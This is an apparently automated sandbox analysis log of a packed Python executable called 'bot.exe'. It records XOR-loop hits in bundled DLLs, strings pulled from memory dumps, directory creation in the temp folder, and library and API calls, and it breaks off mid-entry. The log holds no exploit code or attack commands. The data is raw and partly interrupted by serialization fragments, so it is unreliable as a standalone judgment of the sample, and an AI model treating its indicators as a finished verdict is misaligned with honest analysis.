Found XOR loop in file "libportaudio32bit.dll" at offset 260152; code bytes = 8030 Found XOR loop in file "VCRUNTIME140.dll" at offset 171662; code bytes = 30d0 Found XOR loop in file "VCRUNTIME140.dll" at offset 18376; code bytes = 33c1 Found XOR loop in file "VCRUNTIME140.dll" at offset 18397; code bytes = 33c1 Found XOR loop in file "VCRUNTIME140.dll" at offset 164165; code bytes = 8030 Found XOR loop in file "VCRUNTIME140.dll" at offset 169275; code bytes = 8030 Found XOR loop in file "VCRUNTIME140.dll" at offset 174275; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-private-l1-1-0.dll" at offset 70982; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 66888; code bytes = 33c1 Found XOR loop in file "python3.dll" at offset 62299; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 67327; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 71448; code bytes = 8030 Found XOR loop in file "VCRUNTIME140_1.dll" at offset 43147; code bytes = 30d0 Found XOR loop in file "VCRUNTIME140_1.dll" at offset 35653; code bytes = 8030 Found XOR loop in file "VCRUNTIME140_1.dll" at offset 40760; code bytes = 8030 Found XOR loop in file "VCRUNTIME140_1.dll" at offset 45761; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-math-l1-1-0.dll" at offset 25909; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-string-l1-1-0.dll" at offset 21830; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-stdio-l1-1-0.dll" at offset 20144; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-stdio-l1-1-0.dll" at offset 21829; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-runtime-l1-1-0.dll" at offset 21814; code bytes = 8030 Found XOR loop in file "api-ms-win-core-file-l1-1-0.dll" at offset 21814; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-convert-l1-1-0.dll" at offset 21843; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-process-l1-1-0.dll" at offset 17749; code bytes = 8030 Found XOR loop in file "api-ms-win-core-processthreads-l1-1-0.dll" at offset 17749; code bytes = 8030 Found XOR loop in file "api-ms-win-crt-heap-l1-1-0.dll" at offset 17749; code bytes = 80303f:Tb40,file/memory contains long string with (Indicator: "github.com"; File: "__init__.py") file/memory contains long string with (Indicator: "github.com"; File: "METADATA") file/memory contains long string with (Indicator: "github.com"; File: "LICENSE.md") file/memory contains long string with (Indicator: "github.com"; File: "sbom.json") Found string "https://github.com/mhammond/pywin32" (Indicator: "github.com"; Source: "00000000-00001324.00000001.171708.50BE3000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py#L24-L25" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7102000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#L81-L97" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readers.py#L11" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L422" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L312" (Indicator: "github.com"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp")40:T1396,"bot.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001324) "bot.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001324) "bot.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002724) "bot.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002724) "bot.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000e968ecf40a020000f09debf40a020000010000000000000002000000000000000100000000000000101709f70a020000101709f70a020000003e5eaaec000000b09808f70a020000f03d5eaaec0000000800000000000000b0e255adfe7f00005efe01adfe7f00000100000000000000ac5dfea988b2f5a10100000000000000010000000a020000008909f70a020000c304836ffac73c77c304836ffac73c77008909f70a020000a68c5df70a020000f03d5eaaec0000000800000000000000101709f70a020000b09808f70a020000b0e255adfe7f0000003e5eaaec000000960d02adfe7f0000101709f70a020000101709f70a02000001000000 (UID: 00000000-00002724) "bot.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002724) "bot.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000000000000000000000f08cbff80a020000101998d9fe7f00000000000000000000000098d8fe7f00000000000000000000ee26fdd6fe7f00000700000000000000d0995eaaec000000d0995eaaec000000400e0bd7fe7f0000000098d8fe7f00007b6342d7fe7f0000020000000000000000000000000000009200000000000000a00408d9fe7f0000c0995eaaec000000bb5ffdd6fe7f00000d000000fe7f0000a00408d9fe7f000092000000000000000000000000000000a00408d9fe7f00001c5bfdd6fe7f0000000000000000000092000000000000000d000000fe7f00000d00000000000000aa00000000000000d245a9d8fe7f0000a03aaed8 (UID: 00000000-00002724) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007752)41:Tf56,"bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL" at 00000000-00001324-00000C17-810468269 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL" at 00000000-00001324-00000C17-811931934 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL" at 00000000-00001324-00000C17-811961990 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL" at 00000000-00001324-00000C17-811966167 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812206190 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812206974 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812231697 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812232472 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812268659 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812269413 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812301931 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812302985 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812343066 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812343926 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812380139 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812380910 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" at 00000000-00001324-00000C17-812417568 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" at 00000000-00001324-00000C17-812418354 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\certifi" at 00000000-00001324-00000C17-812870493 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\charset_normalizer" at 00000000-00001324-00000C17-812888281 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\cryptography-50.0.2.dist-info" at 00000000-00001324-00000C17-812971053 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\cryptography-50.0.2.dist-info" at 00000000-00001324-00000C17-812974318 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\cryptography-50.0.2.dist-info" at 00000000-00001324-00000C17-812978296 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\cryptography-50.0.2.dist-info" at 00000000-00001324-00000C17-812981083 "bot.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\cryptography-50.0.2.dist-info" at 00000000-00001324-00000C17-81298374442:Tbfc,"bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2 (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\PIL (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\_sounddevice_data (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\certifi (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\charset_normalizer (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\licenses (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography-50.0.2.dist-info\sboms (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography\hazmat (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cryptography\hazmat\bindings (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2 (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\data (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\mat_wrapper (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\misc (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\typing (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\cv2\utils (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\include (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\include\numpy (UID: 00000000-00001324) "bot.exe" called "CreateDirectoryW" with parameter %TEMP%\_MEI0000052c2\numpy-2.5.4.dist-info\licenses\numpy\_core\include\numpy\libdivide (UID: 00000000-00001324)43:T114e,"bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00001324) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001324) "bot.exe" called "LoadLibrary" with a parameter VCRUNTIME140.dll (UID: 00000000-00001324) "bot.exe" called "LoadLibrary" with a parameter VCRUNTIME140_1.dll (UID: 00000000-00001324) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001324) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\ucrtbase.dll (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\python314.dll (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-file-l2-1-4 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\python3 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_ctypes.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_bz2.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_lzma.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_zstd.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_socket.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_queue.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_wmi.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_hashlib.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_ssl.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_sqlite3.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\select.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\charset_normalizer\cd.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\charset_normalizer\md.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\unicodedata.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\numpy\_core\_multiarray_umath.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\numpy\linalg\_umath_linalg.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\cv2\cv2.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\cryptography\hazmat\bindings\_rust.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\_cffi_backend.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI0000052c2\PIL\_imaging.cp314-win_amd64.pyd (UID: 00000000-00002724) "bot.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00002724)44:T3cef,"bot.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00001324) "bot.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter VirtualAlloc2FromApp (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemoryEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumberEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetNumaProcessorNodeEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetNumaNodeProcessorMaskEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetNumaProcessorNode (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetNumaNodeProcessorMask (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetLargePageMinimum (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetPhysicallyInstalledSystemMemory (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter BCryptGenRandom (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_DecRef (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_DecodeLocale (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_Finalize (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_IsInitialized (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_PreInitialize (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_Create (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_Free (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_SetInt (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_SetStr (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_SetStrList (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInitConfig_GetError (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter Py_InitializeFromInitConfig (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_Clear (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_Fetch (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_NormalizeException (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_Occurred (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_Print (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyErr_Restore (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyEval_EvalCode (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyImport_AddModule (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyImport_ExecCodeModule (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyImport_ImportModule (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyList_Append (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyMarshal_ReadObjectFromString (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyMem_RawFree (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyModule_GetDict (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyObject_CallFunction (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyObject_CallFunctionObjArgs (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyObject_GetAttrString (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyObject_SetAttrString (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyObject_Str (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyPreConfig_InitIsolatedConfig (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyRun_SimpleStringFlags (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyStatus_Exception (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PySys_GetObject (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PySys_SetObject (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_AsUTF8 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_Decode (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_DecodeFSDefault (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_FromFormat (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_FromString (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_Join (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyUnicode_Replace (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetThreadDescription (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetFileInformationByName (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__ctypes (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__bz2 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__lzma (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__zstd (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__socket (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__queue (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__wmi (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__hashlib (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__ssl (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoInitializeSecurity (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002724) "bot.exe" called 